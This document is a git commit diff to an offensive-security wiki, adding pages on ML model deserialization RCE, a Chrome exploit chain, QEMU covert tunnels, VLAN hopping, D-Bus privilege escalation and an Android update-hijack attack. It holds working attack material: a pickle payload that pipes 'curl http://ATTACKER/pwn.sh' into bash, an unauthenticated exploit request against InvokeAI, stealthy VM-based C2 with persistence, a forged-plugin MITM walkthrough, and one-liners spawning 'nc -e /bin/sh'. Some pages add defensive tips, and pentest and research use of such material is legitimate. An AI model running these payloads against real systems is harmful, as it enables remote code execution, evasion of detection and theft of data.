Merge branch 'master' of github.com:HackTricks-wiki/hacktricks

This commit is contained in:
carlospolop 2025-07-22 13:19:22 +02:00
commit 651f61fb65
15 changed files with 1032 additions and 44 deletions

View File

@ -23,10 +23,86 @@ At the time of the writting these are some examples of this type of vulneravilit
| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | Malicious HDF5 (`.h5`) model with Lambda layer code still executes on load (Keras safe_mode doesnt cover old format “downgrade attack”) | |
| **Others** (general) | *Design flaw* Pickle serialization | Many ML tools (e.g., pickle-based model formats, Python `pickle.load`) will execute arbitrary code embedded in model files unless mitigated | |
Moreover, there some python pickle based models like the ones used by [PyTorch](https://github.com/pytorch/pytorch/security) that can be used to execute arbitrary code on the system if they are not loaded with `weights_only=True`. So, any pickle based model might be specially susceptible to this type of attacks, even if they are not listed in the table above.
Example:
### 🆕 InvokeAI RCE via `torch.load` (CVE-2024-12029)
`InvokeAI` is a popular open-source web interface for Stable-Diffusion. Versions **5.3.1 5.4.2** expose the REST endpoint `/api/v2/models/install` that lets users download and load models from arbitrary URLs.
Internally the endpoint eventually calls:
```python
checkpoint = torch.load(path, map_location=torch.device("meta"))
```
When the supplied file is a **PyTorch checkpoint (`*.ckpt`)**, `torch.load` performs a **pickle deserialization**. Because the content comes directly from the user-controlled URL, an attacker can embed a malicious object with a custom `__reduce__` method inside the checkpoint; the method is executed **during deserialization**, leading to **remote code execution (RCE)** on the InvokeAI server.
The vulnerability was assigned **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
#### Exploitation walk-through
1. Create a malicious checkpoint:
```python
# payload_gen.py
import pickle, torch, os
class Payload:
def __reduce__(self):
return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
with open("payload.ckpt", "wb") as f:
pickle.dump(Payload(), f)
```
2. Host `payload.ckpt` on an HTTP server you control (e.g. `http://ATTACKER/payload.ckpt`).
3. Trigger the vulnerable endpoint (no authentication required):
```python
import requests
requests.post(
"http://TARGET:9090/api/v2/models/install",
params={
"source": "http://ATTACKER/payload.ckpt", # remote model URL
"inplace": "true", # write inside models dir
# the dangerous default is scan=false → no AV scan
},
json={}, # body can be empty
timeout=5,
)
```
4. When InvokeAI downloads the file it calls `torch.load()` → the `os.system` gadget runs and the attacker gains code execution in the context of the InvokeAI process.
Ready-made exploit: **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2024_12029` automates the whole flow.
#### Conditions
• InvokeAI 5.3.1-5.4.2 (scan flag default **false**)
`/api/v2/models/install` reachable by the attacker
• Process has permissions to execute shell commands
#### Mitigations
* Upgrade to **InvokeAI ≥ 5.4.3** the patch sets `scan=True` by default and performs malware scanning before deserialization.
* When loading checkpoints programmatically use `torch.load(file, weights_only=True)` or the new [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper.
* Enforce allow-lists / signatures for model sources and run the service with least-privilege.
> ⚠️ Remember that **any** Python pickle-based format (including many `.pt`, `.pkl`, `.ckpt`, `.pth` files) is inherently unsafe to deserialize from untrusted sources.
---
Example of an ad-hoc mitigation if you must keep older InvokeAI versions running behind a reverse proxy:
```nginx
location /api/v2/models/install {
deny all; # block direct Internet access
allow 10.0.0.0/8; # only internal CI network can call it
}
```
## Example crafting a malicious PyTorch model
- Create the model:
@ -67,7 +143,6 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
# /tmp/pwned.txt is created even if you get an error
```
## Models to Path Traversal
As commented in [**this blog post**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), most models formats used by different AI frameworks are based on archives, usually `.zip`. Therefore, it might be possible to abuse these formats to perform path traversal attacks, allowing to read arbitrary files from the system where the model is loaded.
@ -102,4 +177,11 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
tf.add(PAYLOAD) # rides the symlink
```
## References
- [OffSec blog "CVE-2024-12029 InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
- [PyTorch security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
{{#include ../banners/hacktricks-training.md}}

View File

@ -283,6 +283,7 @@
- [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md)
- [RDP Sessions Abuse](windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
- [Resource-based Constrained Delegation](windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md)
- [Sccm Management Point Relay Sql Policy Secrets](windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md)
- [Security Descriptors](windows-hardening/active-directory-methodology/security-descriptors.md)
- [SID-History Injection](windows-hardening/active-directory-methodology/sid-history-injection.md)
- [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)
@ -334,6 +335,7 @@
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
- [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md)
@ -347,6 +349,7 @@
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
- [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
- [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
- [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md)
- [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
- [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
- [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)
@ -759,6 +762,7 @@
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
- [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md)
- [Format Strings](binary-exploitation/format-strings/README.md)
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)

View File

@ -0,0 +1,184 @@
# Chrome Exploiting
{{#include ../banners/hacktricks-training.md}}
> This page provides a high-level yet **practical** overview of a modern "full-chain" exploitation workflow against Google Chrome 130 based on the research series **“101 Chrome Exploitation”** (Part-0 — Preface).
> The goal is to give pentesters and exploit-developers the minimum background necessary to reproduce or adapt the techniques for their own research.
## 1. Chrome Architecture Recap
Understanding the attack surface requires knowing where code is executed and which sandboxes apply.
```
+-------------------------------------------------------------------------+
| Chrome Browser |
| |
| +----------------------------+ +-----------------------------+ |
| | Renderer Process | | Browser/main Process | |
| | [No direct OS access] | | [OS access] | |
| | +----------------------+ | | | |
| | | V8 Sandbox | | | | |
| | | [JavaScript / Wasm] | | | | |
| | +----------------------+ | | | |
| +----------------------------+ +-----------------------------+ |
| | IPC/Mojo | |
| V | |
| +----------------------------+ | |
| | GPU Process | | |
| | [Restricted OS access] | | |
| +----------------------------+ | |
+-------------------------------------------------------------------------+
```
Layered defence-in-depth:
* **V8 sandbox** (Isolate): memory permissions are restricted to prevent arbitrary read/write from JITed JS / Wasm.
* **Renderer ↔ Browser split** ensured via **Mojo/IPC** message passing; the renderer has *no* native FS/network access.
* **OS sandboxes** further contain each process (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles).
A *remote* attacker therefore needs **three** successive primitives:
1. Memory corruption inside V8 to get **arbitrary RW inside the V8 heap**.
2. A second bug allowing the attacker to **escape the V8 sandbox to full renderer memory**.
3. A final sandbox-escape (often logic rather than memory corruption) to execute code **outside of the Chrome OS sandbox**.
---
## 2. Stage 1 WebAssembly Type-Confusion (CVE-2025-0291)
A flaw in TurboFans **Turboshaft** optimisation mis-classifies **WasmGC reference types** when the value is produced and consumed inside a *single basic block loop*.
Effect:
* The compiler **skips the type-check**, treating a *reference* (`externref/anyref`) as an *int64*.
* Crafted Wasm allows overlapping a JS object header with attacker-controlled data → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR primitives**.
Minimal PoC (excerpt):
```WebAssembly
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit ;; exit condition keeps us single-block
br $loop
end
end)
(export "f" (func $f)))
```
Trigger optimisation & spray objects from JS:
```js
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
// primitives
let victim = {m: 13.37};
let fake = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
```
Outcome: **arbitrary read/write within V8**.
---
## 3. Stage 2 Escaping the V8 Sandbox (issue 379140430)
When a Wasm function is tier-up-compiled, a **JS ↔ Wasm wrapper** is generated. A signature-mismatch bug causes the wrapper to write past the end of a trusted **`Tuple2`** object when the Wasm function is re-optimised *while still on the stack*.
Overwriting the 2 × 64-bit fields of the `Tuple2` object yields **read/write on any address inside the Renderer process**, effectively bypassing the V8 sandbox.
Key steps in exploit:
1. Get function into **Tier-Up** state by alternating turbofan/baseline code.
2. Trigger tier-up while keeping a reference on the stack (`Function.prototype.apply`).
3. Use Stage-1 AAR/AAW to find & corrupt the adjacent `Tuple2`.
Wrapper identification:
```js
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
wrapperGen(0x1337n);
```
After corruption we possess a fully-featured **renderer R/W primitive**.
---
## 4. Stage 3 Renderer → OS Sandbox Escape (CVE-2024-11114)
The **Mojo** IPC interface `blink.mojom.DragService.startDragging()` can be called from the Renderer with *partially trusted* parameters. By crafting a `DragData` structure pointing to an **arbitrary file path** the renderer convinces the browser to perform a *native* drag-and-drop **outside the renderer sandbox**.
Abusing this we can programmatically “drag” a malicious EXE (previously dropped in a world-writable location) onto the Desktop, where Windows automatically executes certain file-types once dropped.
Example (simplified):
```js
const payloadPath = "C:\\Users\\Public\\explorer.exe";
chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
```
No additional memory corruption is necessary the **logic flaw** gives us arbitrary file execution with the users privileges.
---
## 5. Full Chain Flow
1. **User visits** malicious webpage.
2. **Stage 1**: Wasm module abuses CVE-2025-0291 → V8 heap AAR/AAW.
3. **Stage 2**: Wrapper mismatch corrupts `Tuple2` → escape V8 sandbox.
4. **Stage 3**: `startDragging()` IPC → escape OS sandbox & execute payload.
Result: **Remote Code Execution (RCE)** on the host (Chrome 130, Windows/Linux/macOS).
---
## 6. Lab & Debugging Setup
```bash
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1
# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
```
Useful flags when launching a *development* build of Chrome:
```bash
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
```
---
## Takeaways
* **WebAssembly JIT bugs** remain a reliable entry-point the type system is still young.
* Obtaining a second memory-corruption bug inside V8 (e.g. wrapper mismatch) greatly simplifies **V8-sandbox escape**.
* Logic-level weaknesses in privileged Mojo IPC interfaces are often sufficient for a **final sandbox escape** keep an eye on *non-memory* bugs.
## References
* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
* [Chromium security architecture](https://chromium.org/developers/design-documents/security)
{{#include ../banners/hacktricks-training.md}}

View File

@ -726,11 +726,73 @@ ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_p
The above command publishes the victims port **8080** as **attacker_ip:9000** without deploying any additional tooling ideal for living-off-the-land pivoting.
## Covert VM-based Tunnels with QEMU
QEMUs user-mode networking (`-netdev user`) supports an option called `hostfwd` that **binds a TCP/UDP port on the *host* and forwards it into the *guest***. When the guest runs a full SSH daemon, the hostfwd rule gives you a disposable SSH jump box that lives entirely inside an ephemeral VM perfect for hiding C2 traffic from EDR because all malicious activity and files stay in the virtual disk.
### Quick one-liner
```powershell
# Windows victim (no admin rights, no driver install portable binaries only)
qemu-system-x86_64.exe ^
-m 256M ^
-drive file=tc.qcow2,if=ide ^
-netdev user,id=n0,hostfwd=tcp::2222-:22 ^
-device e1000,netdev=n0 ^
-nographic
```
• The command above launches a **Tiny Core Linux** image (`tc.qcow2`) in RAM.
• Port **2222/tcp** on the Windows host is transparently forwarded to **22/tcp** inside the guest.
• From the attackers point of view the target simply exposes port 2222; any packets that reach it are handled by the SSH server running in the VM.
### Launching stealthily through VBScript
```vb
' update.vbs lived in C:\ProgramData\update
Set o = CreateObject("Wscript.Shell")
o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tcp::2222-:22", 0
```
Running the script with `cscript.exe //B update.vbs` keeps the window hidden.
### In-guest persistence
Because Tiny Core is stateless, attackers usually:
1. Drop payload to `/opt/123.out`
2. Append to `/opt/bootlocal.sh`:
```sh
while ! ping -c1 45.77.4.101; do sleep 2; done
/opt/123.out
```
3. Add `home/tc` and `opt` to `/opt/filetool.lst` so the payload is packed into `mydata.tgz` on shutdown.
### Why this evades detection
• Only two unsigned executables (`qemu-system-*.exe`) touch disk; no drivers or services are installed.
• Security products on the host see **benign loopback traffic** (the actual C2 terminates inside the VM).
• Memory scanners never analyse the malicious process space because it lives in a different OS.
### Defender tips
• Alert on **unexpected QEMU/VirtualBox/KVM binaries** in user-writable paths.
• Block outbound connections that originate from `qemu-system*.exe`.
• Hunt for rare listening ports (2222, 10022, …) binding immediately after a QEMU launch.
---
## Other tools to check
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
- [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
## References
- [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization)
{{#include ../banners/hacktricks-training.md}}

View File

@ -60,11 +60,84 @@ Connectivity is tested by initiating ICMP requests to the default gateways for V
Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions.
---
## Other VLAN-Hopping Techniques (no privileged switch CLI)
The previous method assumes authenticated console or Telnet/SSH access to the switch. In real-world engagements the attacker is usually connected to a **regular access port**. The following Layer-2 tricks often let you pivot laterally without ever logging into the switch OS:
### 1. Switch-Spoofing with Dynamic Trunking Protocol (DTP)
Cisco switches that keep DTP enabled will happily negotiate a trunk if the peer claims to be a switch. Crafting a single **DTP “desirable”** or **“trunk”** frame converts the access port into an 802.1Q trunk that carries *all* allowed VLANs.
*Yersinia* and several PoCs automate the process:
```bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
```
Once the port switches to trunk you can create 802.1Q sub-interfaces and pivot exactly as shown in the previous section. Modern Linux kernels no longer require *vconfig*; instead use *ip link*:
```bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
```
### 2. Double-Tagging (Native-VLAN Abuse)
If the attacker sits on the **native (untagged) VLAN**, a crafted frame with *two* 802.1Q headers can "hop" to a second VLAN even when the port is locked in access mode. Tooling such as **VLANPWN DoubleTagging.py** (2022-2024 refresh) automates the injection:
```bash
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54
```
Packet walk-through:
1. Outer tag (1) is stripped by the first switch because it matches the native VLAN.
2. Inner tag (20) is now exposed; the frame is forwarded onto the trunk towards VLAN 20.
The technique still works in 2025 on networks that leave the native VLAN at the default and accept untagged frames .
### 3. QinQ (802.1ad) Stacking
Many enterprise cores support *Q-in-Q* service provider encapsulation. Where permitted, an attacker can tunnel arbitrary 802.1Q-tagged traffic inside a provider (S-tag) to cross security zones. Capture for 802.1ad ethertype 0x88a8 and attempt to pop the outer tag with Scapy:
```python
from scapy.all import *
outer = 100 # Service tag
inner = 30 # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
```
---
## Defensive Recommendations
1. Disable DTP on all user-facing ports: `switchport mode access` + `switchport nonegotiate`.
2. Change the native VLAN on every trunk to an **unused, black-hole VLAN** and tag it: `vlan dot1q tag native`.
3. Prune unnecessary VLANs on trunks: `switchport trunk allowed vlan 10,20`.
4. Enforce port security, DHCP snooping & dynamic ARP inspection to limit rogue Layer-2 activity.
5. Prefer private-VLANs or L3 segmentation instead of relying solely on 802.1Q separation.
---
## References
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- VLANPWN attack toolkit <https://github.com/casterbytethrowback/VLANPWN>
- Twingate "What is VLAN Hopping?" (Aug 2024) <https://www.twingate.com/blog/glossary/vlan%20hopping>
{{#include ../../banners/hacktricks-training.md}}

View File

@ -464,11 +464,77 @@ finish:
}
```
## Automated Enumeration Helpers (2023-2025)
Enumeration of a large D-Bus attack surface manually with `busctl`/`gdbus` quickly becomes painful. Two small FOSS utilities released in the last few years can speed things up during red-team or CTF engagements:
### dbusmap ("Nmap for D-Bus")
* Author: @taviso [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap)
* Written in C; single static binary (<50 kB) that walks every object path, pulls the `Introspect` XML and maps it to the owning PID/UID.
* Useful flags:
```bash
# List every service on the *system* bus and dump all callable methods
sudo dbus-map --dump-methods
# Actively probe methods/properties you can reach without Polkit prompts
sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
```
* The tool marks unprotected well-known names with `!`, instantly revealing services you can *own* (take over) or method calls that are reachable from an unprivileged shell.
### uptux.py
* Author: @initstring [https://github.com/initstring/uptux](https://github.com/initstring/uptux)
* Python-only script that looks for *writable* paths in systemd units **and** overly-permissive D-Bus policy files (e.g. `send_destination="*"`).
* Quick usage:
```bash
python3 uptux.py -n # run all checks but dont write a log file
python3 uptux.py -d # enable verbose debug output
```
* The D-Bus module searches the directories below and highlights any service that can be spoofed or hijacked by a normal user:
* `/etc/dbus-1/system.d/` and `/usr/share/dbus-1/system.d/`
* `/etc/dbus-1/system-local.d/` (vendor overrides)
---
## Notable D-Bus Privilege-Escalation Bugs (2024-2025)
Keeping an eye on recently published CVEs helps spotting similar insecure patterns in custom code. The following high-impact local EoP issues all stem from missing authentication/authorization on the **system bus**:
| Year | CVE | Component | Root Cause | One-Liner PoC |
|------|-----|-----------|------------|---------------|
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (Logitech HID daemon) | The `logid` system service exposes an unrestricted `org.freedesktop.Logiopsd` interface that lets *any* user change device profiles and inject arbitrary shell commands via macro strings. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | A root-running proxy forwards legacy bus names to backend services **without forwarding caller UID/Polkit context**, so every forwarded request is treated as UID 0. | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | Public `Dispatch` method lacks any ACLs → attacker can order the *package-manager* worker to install arbitrary RPMs. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
Patterns to notice:
1. Service runs **as root on the system bus**.
2. No PolicyKit check (or it is bypassed by a proxy).
3. Method ultimately leads to `system()`/package installation/device re-configuration → code execution.
Use `dbusmap --enable-probes` or manual `busctl call` to confirm whether a patch back-ports proper `polkit_authority_check_authorization()` logic.
---
## Hardening & Detection Quick-Wins
* Search for world-writable or *send/receive*-open policies:
```bash
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
```
* Require Polkit for dangerous methods even *root* proxies should pass the *caller* PID to `polkit_authority_check_authorization_sync()` instead of their own.
* Drop privileges in long-running helpers (use `sd_pid_get_owner_uid()` to switch namespaces after connecting to the bus).
* If you cannot remove a service, at least *scope* it to a dedicated Unix group and restrict access in its XML policy.
* Blue-team: enable persistent capture of the system bus with `busctl capture --output=/var/log/dbus_$(date +%F).pcap` and import into Wireshark for anomaly detection.
---
## References
- [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
- [https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html](https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html)
- [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -26,6 +26,7 @@ Sometimes it is interesting to **modify the application code** to access **hidde
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Extract APK from device:
@ -50,6 +51,12 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Case Studies & Vulnerabilities
{{#ref}}
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
## Static Analysis
First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\

View File

@ -0,0 +1,135 @@
# Insecure In-App Update Mechanisms Remote Code Execution via Malicious Plugins
{{#include ../../banners/hacktricks-training.md}}
Many Android applications implement their **own “plugin” or “dynamic feature” update channels** instead of using the Google Play Store. When the implementation is insecure an attacker able to intercept the traffic can supply **arbitrary native code that will be loaded inside the app process**, leading to full Remote Code Execution (RCE) on the handset and in some cases on any external device controlled by the app (cars, IoT, medical devices …).
This page summarises a realworld vulnerability chain found in the Xtool **AnyScan** automotive-diagnostics app (v4.40.11 → 4.40.40) and generalises the technique so you can audit other Android apps and weaponise the mis-configuration during a red-team engagement.
---
## 1. Identifying an Insecure TLS TrustManager
1. Decompile the APK with jadx / apktool and locate the networking stack (OkHttp, HttpUrlConnection, Retrofit…).
2. Look for a **custom `TrustManager`** or `HostnameVerifier` that blindly trusts every certificate:
```java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
```
3. If present the application will accept **any TLS certificate** → you can run a transparent **MITM proxy** with a self-signed cert:
```bash
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
```
## 2. Reverse-Engineering the Update Metadata
In the AnyScan case each app launch triggers an HTTPS GET to:
```
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
```
The response body is an **XML document** whose `<FileData>` nodes contain **Base64-encoded, DES-ECB encrypted** JSON describing every available plugin.
Typical hunting steps:
1. Locate the crypto routine (e.g. `RemoteServiceProxy`) and recover:
* algorithm (DES / AES / RC4 …)
* mode of operation (ECB / CBC / GCM …)
* hard-coded key / IV (often 56-bit DES keys or 128-bit AES keys in constants)
2. Re-implement the function in Python to decrypt / encrypt the metadata:
```python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))
def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
```
## 3. Craft a Malicious Plugin
1. Pick any legitimate plugin ZIP and replace the native library with your payload:
```c
// libscan_x64.so constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
```
```bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
```
2. Update the JSON metadata so that `"FileName" : "PWNED.zip"` and `"DownloadURL"` points to your HTTP server.
3. DES-encrypt + Base64-encode the modified JSON and copy it back inside the intercepted XML.
## 4. Deliver the Payload with mitmproxy
`addon.py` example that *silently* swaps the original metadata:
```python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)
```
Run a simple web server to host the malicious ZIP:
```bash
python3 -m http.server 8000 --directory ./payloads
```
When the victim launches the app it will:
* fetch our forged XML over the MITM channel;
* decrypt & parse it with the hard-coded DES key;
* download `PWNED.zip` → unzip inside private storage;
* `dlopen()` the included *libscan_x64.so*, instantly executing our code **with the apps permissions** (camera, GPS, Bluetooth, filesystem, …).
Because the plugin is cached on disk the backdoor **persists across reboots** and runs every time the user selects the related feature.
## 5. Post-Exploitation Ideas
* Steal session cookies, OAuth tokens, or JWTs stored by the app.
* Drop a second-stage APK and silently install it via `pm install` (the app already has `REQUEST_INSTALL_PACKAGES`).
* Abuse any connected hardware in the AnyScan scenario you can send arbitrary **OBD-II / CAN bus commands** (unlock doors, disable ABS, etc.).
---
### Detection & Mitigation Checklist (blue team)
* NEVER ship a production build with a custom TrustManager/HostnameVerifier that disables certificate validation.
* Do not download executable code from outside Google Play. If you *must*, sign each plugin with the same **apkSigning v2** key and verify the signature before loading.
* Replace weak/hard-coded crypto with **AES-GCM** and a server-side rotating key.
* Validate the integrity of downloaded archives (signature or at least SHA-256).
---
## References
- [NowSecure Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1148,6 +1148,12 @@ To identify the libraries an application uses, the **`otool`** command can be em
otool -L <application_path>
```
## Interesting Vulnerabilities & Case Studies
{{#ref}}
air-keyboard-remote-input-injection.md
{{#endref}}
## **References & More Resources**
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)

View File

@ -0,0 +1,104 @@
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
The iOS version of the commercial "Air Keyboard" application (App Store ID 6463187929) opens a **clear-text TCP service on port 8888** that accepts keystroke frames **without any authentication**.
Any device on the same Wi-Fi network can connect to that port and inject arbitrary keyboard input into the victims phone, achieving **full remote interaction hijacking**.
A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake, but crafted garbage causes an **unhandled exception in the OpenSSL decryption routine**, crashing the background service (**DoS**).
## 1. Service Discovery
Scan the local network and look for the two fixed ports used by the apps:
```bash
# iOS (input-injection)
